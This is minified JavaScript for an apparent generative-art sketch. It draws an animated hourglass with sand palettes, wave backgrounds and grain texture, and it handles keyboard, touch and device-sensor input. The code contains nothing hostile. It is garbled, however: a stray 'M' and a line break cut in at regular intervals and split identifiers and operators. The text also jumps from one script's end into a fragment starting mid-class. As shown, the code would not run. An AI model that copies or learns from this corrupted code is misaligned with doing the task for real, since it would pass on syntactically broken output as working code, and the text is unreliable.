!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
